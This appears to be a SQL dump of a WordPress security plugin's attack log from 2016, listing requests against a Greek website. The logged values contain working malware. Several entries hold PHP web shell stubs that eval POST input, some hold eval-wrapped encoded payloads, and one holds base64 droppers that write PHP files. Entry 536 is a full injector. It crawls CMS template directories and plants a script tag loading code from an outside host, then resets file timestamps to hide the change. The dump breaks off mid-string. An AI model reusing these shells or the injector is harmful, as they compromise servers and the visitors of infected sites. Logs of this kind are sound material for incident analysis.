INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (515,'2016-05-18 13:23:54','POST.qe91e7a','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/zoomimage/css/utf.php','','95.158.47.130',''),
 (516,'2016-05-18 13:23:54','POST.data','eval(b64d(\\\"[encoded data, 32296 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/zoomimage/css/utf.php','','95.158.47.130',''),
 (517,'2016-05-18 13:24:02','POST.q872b97','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-includes/ID3/include.php','','95.158.47.130',''),
 (518,'2016-05-18 13:24:02','POST.data','eval(b64d(\\\"[encoded data, 32168 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/wp-includes/ID3/include.php','','95.158.47.130',''),
 (519,'2016-05-18 19:00:10','POST.q760097','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-content/plugins/LayerSlider/static/fonts/ini.php','','95.158.47.130','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (520,'2016-05-18 19:00:10','POST.data','eval(b64d(\\\"[encoded data, 32236 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/wp-content/plugins/LayerSlider/static/fonts/ini.php','','95.158.47.130',''),
 (521,'2016-05-18 19:00:17','POST.na04af1','[encoded data, 32288 characters]','xss,csrf,id,rfe,lfi',48,48,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/config/content/defines.php','','95.158.47.130',''),
 (522,'2016-05-18 20:41:29','POST.p1','$yrhjlmmai = base64_decode(\\\"[encoded data, 7276 characters]\\\");  eval($yrhjlmmai);','xss,csrf,id,rfe,sqli,lfi',45,45,'http://chrisochoidis.gr/stats.php','','213.230.78.93','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (523,'2016-05-18 20:47:19','POST.p1','$fsvonbb = base64_decode(\\\"[encoded data, 7128 characters]\\\");  eval($fsvonbb);','xss,csrf,id,rfe,sqli,lfi',45,45,'http://beta.chrisochoidis.gr/stats.php','','124.106.25.63',''),
 (524,'2016-05-19 00:43:17','POST.q503876','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-content/themes/betheme/muffin-options/css/error.php','','46.182.30.164',''),
 (525,'2016-05-19 00:43:17','POST.data','eval(b64d(\\\"[encoded data, 32096 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/wp-content/themes/betheme/muffin-options/css/error.php','','46.182.30.164',''),
 (526,'2016-05-19 00:43:28','POST.q7f69dd','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/assets/less/blog.php','','46.182.30.164',''),
 (527,'2016-05-19 00:43:28','POST.data','eval(b64d(\\\"[encoded data, 32248 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/assets/less/blog.php','','46.182.30.164',''),
 (528,'2016-05-19 00:43:29','POST.q503876','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-content/themes/betheme/muffin-options/css/error.php','','93.186.196.51','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (529,'2016-05-19 00:43:29','POST.data','eval(b64d(\\\"[encoded data, 29148 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/wp-content/themes/betheme/muffin-options/css/error.php','','93.186.196.51',''),
 (530,'2016-05-19 06:30:04','POST.q7f2521','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-content/uploads/revslider/templates/innovation/start.php','','166.78.180.35',''),
 (531,'2016-05-19 06:30:04','POST.data','eval(b64d(\\\"[encoded data, 32236 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/wp-content/uploads/revslider/templates/innovation/start.php','','166.78.180.35',''),
 (532,'2016-05-19 06:30:13','POST.qcdd94a','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/include/autoload/option.php','','166.78.180.35',''),
 (533,'2016-05-19 06:30:13','POST.data','eval(b64d(\\\"[encoded data, 32156 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/include/autoload/option.php','','166.78.180.35',''),
 (534,'2016-05-19 06:30:47','POST.nd6e706','[encoded data, 32296 characters]','xss,csrf,id,rfe,sqli,lfi',76,76,'http://beta.chrisochoidis.gr/wp-content/themes/twentyfourteen/inc/code.php','','166.78.180.35','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (535,'2016-05-19 06:31:36','POST.n95e668','[encoded data, 32300 characters]','xss,csrf,id,rfe,sqli,lfi',79,79,'http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-draggabletimeline/js/db.php','','95.158.47.130',''),
 (536,'2016-05-19 10:18:16','POST.p1','\r\n$tag = \\\'</head>\\\'; // \\\'<body.*>\\\';\r\n\r\n$code = <<<CODE\r\n<script>var a=\\\'\\\';setTimeout(10);if(document.referrer.indexOf(location.protocol+\\\"//\\\"+location.host)!==0||document.referrer!==undefined||document.referrer!==\\\'\\\'||document.referrer!==null){document.write(\\\'<script type=\\\"text/javascript\\\" src=\\\"http://lcsstamp.it/js/jquery.min.php?c_utt=J18171&c_utm=\\\'+encodeURIComponent(\\\'http://lcsstamp.it/js/jquery.min.php\\\'+\\\'?\\\'+\\\'default_keyword=\\\'+encodeURIComponent(((k=(function(){var keywords=\\\'\\\';var metas=document.getElementsByTagName(\\\'meta\\\');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()==\\\"keywords\\\"){keywords+=metas[x].content;}}}return keywords!==\\\'\\\'?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?\\\'\\\':t:v[1]:k))+\\\'&se_referrer=\\\'+encodeURIComponent(document.referrer)+\\\'&source=\\\'+encodeURIComponent(window.location.host))+\\\'\\\"><\\\'+\\\'/script>\\\');}</script>\r\nCODE;\r\n\r\n\r\ndefine(DEBAG, false);\r\n\r\n\r\n$signature = array(\r\n    \\\'wp-admin\\\'=>array(\\\'engine\\\'=>\\\'Wordpress\\\',\\\'path\\\'=>\\\'/wp-content/themes\\\',\\\'file\\\'=>\\\'header.php\\\'),\r\n    \\\'administrator\\\'=>array(\\\'engine\\\'=>\\\'Joomla\\\',\\\'path\\\'=>\\\'/templates\\\',\\\'file\\\'=>\\\'index.php\\\'),\r\n    \\\'authorize.php\\\'=>array(\\\'engine\\\'=>\\\'Drupal_7\\\',\\\'path\\\'=>\\\'/modules/system\\\',\\\'file\\\'=>\\\'html.tpl.php\\\'),\r\n    \\\'misc\\\'=>array(\\\'engine\\\'=>\\\'Drupal_6\\\',\\\'path\\\'=>\\\'/modules/system\\\',\\\'file\\\'=>\\\'page.tpl.php\\\'),\r\n    \\\'index-ajax.php\\\'=>array(\\\'engine\\\'=>\\\'Modx\\\',\\\'path\\\'=>\\\'/assets/templates\\\',\\\'file\\\'=>\\\'.tpl|.php\\\'),\r\n);\r\n\r\n$toFind = array_keys($signature);\r\n$dir = path_finder();\r\n\r\n$d=array();\r\n$d1=array();\r\n$d2=array();\r\n\r\n\r\n$res=smartscan($dir);\r\nif(count($match = array_values(array_intersect($res,$toFind))) > 0){\r\n    themesEditor($localpath = $dir, $pattern = $signature[$match[0]], $tag, $code);\r\n}\r\n\r\n//add dirs to massive 1\r\nforeach($res as $v){\r\n    if(is_dir($dir.\\\'/\\\'.$v) && $v!==\\\".\\\" && $v!==\\\"..\\\"){\r\n        $d[]=$dir.\\\'/\\\'.$v;\r\n    }\r\n}\r\n\r\n//scan 1-deep files\r\nforeach($d as $n){\r\n    $res2=smartscan($n);\r\n    if(count($match = array_values(array_intersect($res2,$toFind))) > 0){\r\n        themesEditor($localpath = $n, $pattern = $signature[$match[0]], $tag, $code);\r\n    }\r\n    foreach($res2 as $l){\r\n        if(is_dir($n.\\\'/\\\'.$l) && $l!==\\\'.\\\' && $l!==\\\'..\\\'){\r\n            //add dirs to massive 2\r\n            $d1[]=$n.\\\'/\\\'.$l;\r\n        }\r\n    }\r\n}\r\n\r\n//scan 2-deep files\r\nforeach($d1 as $n1){\r\n    $res2=smartscan($n1);\r\n    if(count($match = array_values(array_intersect($res2,$toFind))) > 0){\r\n        themesEditor($localpath = $n1, $pattern = $signature[$match[0]], $tag, $code);\r\n    }\r\n\r\n    foreach($res2 as $l1){\r\n        if(is_dir($n1.\\\'/\\\'.$l1) && $l1!==\\\'.\\\' && $l1!==\\\'..\\\'){\r\n            //add dirs to massive 3\r\n            $d2[]=$n1.\\\'/\\\'.$l1;\r\n        }\r\n    }\r\n}\r\n\r\n//scan 3-deep files\r\nforeach($d2 as $n2){\r\n    $res3=smartscan($n2);\r\n    if(count($match = array_values(array_intersect($res3,$toFind))) > 0){\r\n        themesEditor($localpath = $n2, $pattern = $signature[$match[0]], $tag, $code);\r\n    }\r\n}\r\n\r\n\r\nfunction themesEditor($localpath, $pattern, $tag, $code){\r\n    if(DEBAG){\r\n        if(@smartscan($fullpath = $localpath.$pattern[\\\'path\\\']))\r\n            echo \\\'Engine: \\\'.$pattern[\\\'engine\\\'].\\\' --> Localpath:\\\'.$localpath.\\\'<br>\\\';\r\n        else\r\n            echo \\\'Engine: \\\'.$pattern[\\\'engine\\\'].\\\' --> Dir doesnt exist:\\\'.$localpath.\\\'<br>\\\';\r\n    }\r\n    else{\r\n        $res=smartscan($fullpath = $localpath.$pattern[\\\'path\\\']);\r\n        $d=array();\r\n        //add dirs to massive 1\r\n        echo \\\'<img src=\\\"img/cms/\\\'.$pattern[\\\'engine\\\'].\\\'.png\\\"><b>\\\'.$pattern[\\\'engine\\\'].\\\'<br></b>\\\';\r\n\r\n        foreach($res as $v){\r\n            if(preg_match(\\\'#\\\'.$pattern[\\\'file\\\'].\\\'#i\\\', $v)){\r\n                edit($fullpath.\\\'/\\\'.$v, $code, $tag);\r\n            }\r\n            if(is_dir($fullpath.\\\'/\\\'.$v) && $v!==\\\".\\\" && $v!==\\\"..\\\"){\r\n                $d[]=$fullpath.\\\'/\\\'.$v;\r\n            }\r\n        }\r\n\r\n        //print_r(scandir($d[0]));\r\n        //scan 1-deep files\r\n        foreach($d as $n){\r\n            $res2=smartscan($n);\r\n            foreach($res2 as $l){\r\n                if(preg_match(\\\'#\\\'.$pattern[\\\'file\\\'].\\\'#i\\\', $l)){\r\n                    edit($n.\\\'/\\\'.$l, $code, $tag);\r\n                    continue;\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\n\r\nfunction edit($filepath, $code, $tag){\r\n    clearstatcache();\r\n    $perms = 0777 & fileperms($filepath);\r\n    chmod($filepath, 0666);\r\n    if(is_writable($filepath)){\r\n        $content = file_get_contents($filepath);\r\n        $tag_exists = false;\r\n        $lastmod = filemtime($filepath);\r\n\r\n        $search_code = \\\'<script.*>var a=.*<\\\\/script>\\\';\r\n\r\n        if(preg_match_all(\\\'#\\\'.$search_code.\\\'#im\\\', $content, $matches)) {\r\n            foreach($matches as $match){\r\n                $content = preg_replace(\\\'#\\\'.$search_code.\\\'#im\\\', \\\'\\\', $content);\r\n            }\r\n            file_put_contents($filepath, $content, LOCK_EX);\r\n            touch($filepath, $lastmod);\r\n            chmod($filepath, $perms);\r\n            echo \\\'&nbsp&nbsp&nbsp&nbsp&nbspOLD CODE EXIST >> \\\'.$filepath.\\\'<br>\\\';\r\n        }\r\n\r\n        switch($tag){\r\n            case \\\"</head>\\\":\r\n            if(preg_match(\\\'#</head>#i\\\', $content, $match)){\r\n                $replacement = $code.\\\"\\\\r\\\\n</head>\\\";\r\n                $tag_exists = true;\r\n                break;\r\n            }\r\n            case \\\"<body.*>\\\":\r\n            if(preg_match(\\\'#<body.*>#i\\\', $content,$match)){\r\n                $replacement = $match[0].\\\"\\\\r\\\\n\\\".$code;\r\n                $tag_exists = true;\r\n                break;\r\n            }\r\n        }\r\n\r\n        if($tag_exists){\r\n            $inject = preg_replace(\\\'#\\\'.$tag.\\\'#i\\\', $replacement, $content);\r\n            file_put_contents($filepath, $inject, LOCK_EX);\r\n            touch($filepath, $lastmod);\r\n            chmod($filepath, $perms);\r\n            echo \\\'&nbsp&nbsp&nbsp&nbsp&nbspSuccess >> \\\'.$filepath.\\\'<br>\\\';\r\n        }\r\n        else{\r\n            echo \\\'&nbsp&nbsp&nbsp&nbsp&nbspTag Not Found >> \\\'.$filepath.\\\'<br>\\\';\r\n            return;\r\n        }\r\n    }\r\n    else{\r\n        echo \\\'&nbsp&nbsp&nbsp&nbsp&nbspCant Edit >> \\\'.$filepath.\\\'<br>\\\';\r\n    }\r\n\r\n}\r\n\r\n\r\nfunction path_finder(){\r\n    $p=$_SERVER[\\\'SCRIPT_FILENAME\\\'];\r\n    if(empty($p)){\r\n        exit(\\\'Cant find the path\\\');\r\n    }\r\n    else{\r\n        $p=str_replace(\\\'\\\\/\\\', \\\'/\\\', $p);\r\n        $p=trim($p, \\\'/\\\');\r\n        $p=substr_count($p, \\\'/\\\')-1;\r\n    }\r\n\r\n    for($k=1; $k<=$p; $k++){\r\n        if(!is_readable(str_repeat(\\\'../\\\', $k))){\r\n            $pth=trim(str_repeat(\\\'../\\\', $k-1));\r\n            break;\r\n        }\r\n    }\r\n\r\n    if($pth){\r\n        return $pth;\r\n    }\r\n    else{\r\n        return trim(str_repeat(\\\'../\\\', $p-1));\r\n    }\r\n}\r\n\r\n\r\nfunction smartscan($dir){\r\n    if(function_exists(\\\"scandir\\\")){\r\n        return scandir($dir);\r\n    }\r\n    else{\r\n        $dh  = opendir($dir);\r\n        while(false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}','xss,csrf,dt,id,lfi,rfe,sqli',185,185,'http://beta.chrisochoidis.gr/stats.php','','85.93.5.78',''),
 (537,'2016-05-19 11:34:54','POST.p1','$cufawmxuj = base64_decode(\\\"JGZpbGVfYm9keSA9ICdDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1R3L2NHaHdJQTBLQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNTUmpaMnRyY1dScmVpQTlJSE4wY21sd2MyeGhjMmhsY3loaVlYTmxOalJmWkdWamIyUmxLR0poYzJVMk5GOWtaV052WkdVb0pGOVFUMU5VV3lkbVoyaHFKMTBwS1NrN0lBMEtDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1NSbmVIcDBjVzlzYkhka2JpQTlJSE4wY21sd2MyeGhjMmhsY3loaVlYTmxOalJmWkdWamIyUmxLR0poYzJVMk5GOWtaV052WkdVb0pGOVFUMU5VV3lkdGFtUjBKMTBwS1NrN0lBMEtDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1NSclltSjZaMmhtWTJ0d2NXOW5JRDBnYzNSeWFYQnpiR0Z6YUdWektHSmhjMlUyTkY5a1pXTnZaR1VvWW1GelpUWTBYMlJsWTI5a1pTZ2tYMUJQVTFSYkoyOTFaSE1uWFNrcEtUc2dJQTBLQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNTUmthMnQ2SUQwZ2MzUnlhWEJ6YkdGemFHVnpLR0poYzJVMk5GOWtaV052WkdVb1ltRnpaVFkwWDJSbFkyOWtaU2drWDFCUFUxUmJKM0ozZUdKdmQzcHFlR3BxYW5jblhTa3BLVHNnSUEwS0NRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDU1IxY0doNFltZHllR042YTIwZ1BTQnRZV2xzS0hOMGNtbHdjMnhoYzJobGN5Z2tZMmRyYTNGa2Ezb3BMQ0J6ZEhKcGNITnNZWE5vWlhNb0pHZDRlblJ4YjJ4c2QyUnVLU3dnYzNSeWFYQnpiR0Z6YUdWektDUnJZbUo2WjJobVkydHdjVzluS1N3Z2MzUnlhWEJ6YkdGemFHVnpLQ1JrYTJ0NktTazdEUW9KQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSmFXWW9KSFZ3YUhoaVozSjRZM3ByYlNsN1pXTm9ieUFuWm5CbGEzRm5aaWM3ZlNCbGJITmxJSHRsWTJodklDZHJkM1I0WVNBNklDY2dMaUFrZFhCb2VHSm5jbmhqZW10dE8zMGdEUW9OQ2cwS0RRb2dEUW9nSUNBZ0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lBPT0nOw0KJGZpbGVfbmFtZSA9ICdwYnBydmttdi5waHAnOw0KJHJvb3QgPSAgJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXTsNCmlmIChzdHJwb3MoJHJvb3QsJy8nKSAhPT0gZmFsc2UpIHsNCiAgICAkcGF0aCA9ICAkcm9vdCAuICIvIiAuICRmaWxlX25hbWU7DQp9DQplbHNlICRwYXRoID0gJHJvb3QgLiAiXFwiIC4gJGZpbGVfbmFtZTsNCg0KDQovL2ZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoLCBiYXNlNjRfZGVjb2RlKCRmaWxlX2JvZHkpKTsNCmZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX25hbWUsIGJhc2U2NF9kZWNvZGUoJGZpbGVfYm9keSkpOw0KZWNobyAkcGF0aDsgDQogDQog\\\");  eval($cufawmxuj);','xss,csrf,id,rfe,lfi',34,34,'http://chrisochoidis.gr/stats.php','','85.94.0.108',''),
 (538,'2016-05-19 11:42:22','POST.p1','$mnopjiosd = base64_decode(\\\"JGZpbGVfYm9keSA9ICdDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1R3L2NHaHdJQTBLQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNTUmpaMnRyY1dScmVpQTlJSE4wY21sd2MyeGhjMmhsY3loaVlYTmxOalJmWkdWamIyUmxLR0poYzJVMk5GOWtaV052WkdVb0pGOVFUMU5VV3lkbVoyaHFKMTBwS1NrN0lBMEtDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1NSbmVIcDBjVzlzYkhka2JpQTlJSE4wY21sd2MyeGhjMmhsY3loaVlYTmxOalJmWkdWamIyUmxLR0poYzJVMk5GOWtaV052WkdVb0pGOVFUMU5VV3lkdGFtUjBKMTBwS1NrN0lBMEtDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1NSclltSjZaMmhtWTJ0d2NXOW5JRDBnYzNSeWFYQnpiR0Z6YUdWektHSmhjMlUyTkY5a1pXTnZaR1VvWW1GelpUWTBYMlJsWTI5a1pTZ2tYMUJQVTFSYkoyOTFaSE1uWFNrcEtUc2dJQTBLQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNTUmthMnQ2SUQwZ2MzUnlhWEJ6YkdGemFHVnpLR0poYzJVMk5GOWtaV052WkdVb1ltRnpaVFkwWDJSbFkyOWtaU2drWDFCUFUxUmJKM0ozZUdKdmQzcHFlR3BxYW5jblhTa3BLVHNnSUEwS0NRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ